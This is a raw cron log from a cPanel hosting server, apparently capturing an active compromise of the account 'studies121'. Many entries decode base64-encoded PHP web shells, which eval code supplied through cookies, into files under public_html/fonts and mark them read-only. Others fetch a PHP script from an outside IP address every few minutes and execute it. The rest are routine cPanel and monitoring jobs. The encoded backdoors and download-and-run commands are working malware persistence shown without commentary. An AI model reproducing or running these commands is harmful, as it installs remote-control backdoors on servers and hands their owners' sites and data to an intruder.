Sep 13 00:27:01 ip-184-168-122-23 CROND[16726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:27:01 ip-184-168-122-23 CROND[16729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:28:02 ip-184-168-122-23 CROND[16808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:28:02 ip-184-168-122-23 CROND[16809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:28:02 ip-184-168-122-23 CROND[16811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:28:02 ip-184-168-122-23 CROND[16813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:28:02 ip-184-168-122-23 CROND[16810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:29:01 ip-184-168-122-23 CROND[16903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:29:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:29:01 ip-184-168-122-23 CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:29:01 ip-184-168-122-23 CROND[16906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:30:01 ip-184-168-122-23 CROND[17072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:30:01 ip-184-168-122-23 CROND[17075]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:30:01 ip-184-168-122-23 CROND[17083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:31:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:31:01 ip-184-168-122-23 CROND[17189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:31:01 ip-184-168-122-23 CROND[17190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:31:02 ip-184-168-122-23 CROND[17192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 00:31:02 ip-184-168-122-23 CROND[17193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:32:01 ip-184-168-122-23 CROND[17272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:32:01 ip-184-168-122-23 CROND[17274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:32:01 ip-184-168-122-23 CROND[17275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:32:01 ip-184-168-122-23 CROND[17276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:32:01 ip-184-168-122-23 CROND[17277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:33:01 ip-184-168-122-23 CROND[17370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:33:01 ip-184-168-122-23 CROND[17373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:33:01 ip-184-168-122-23 CROND[17372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:33:01 ip-184-168-122-23 CROND[17374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:34:01 ip-184-168-122-23 CROND[17452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:34:01 ip-184-168-122-23 CROND[17455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:34:01 ip-184-168-122-23 CROND[17456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:34:01 ip-184-168-122-23 CROND[17457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:34:01 ip-184-168-122-23 CROND[17458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17691]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17694]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:35:01 ip-184-168-122-23 CROND[17702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:35:01 ip-184-168-122-23 CROND[17699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:36:01 ip-184-168-122-23 CROND[17818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:36:01 ip-184-168-122-23 CROND[17819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:36:01 ip-184-168-122-23 CROND[17823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:36:01 ip-184-168-122-23 CROND[17824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:36:01 ip-184-168-122-23 CROND[17822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:37:01 ip-184-168-122-23 CROND[17912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:37:01 ip-184-168-122-23 CROND[17915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:37:01 ip-184-168-122-23 CROND[17914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:37:01 ip-184-168-122-23 CROND[17916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:38:01 ip-184-168-122-23 CROND[18042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:38:01 ip-184-168-122-23 CROND[18041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:38:01 ip-184-168-122-23 CROND[18047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:38:01 ip-184-168-122-23 CROND[18045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:38:01 ip-184-168-122-23 CROND[18044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:39:01 ip-184-168-122-23 CROND[18160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:39:01 ip-184-168-122-23 CROND[18164]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 00:39:01 ip-184-168-122-23 CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:39:01 ip-184-168-122-23 CROND[18165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
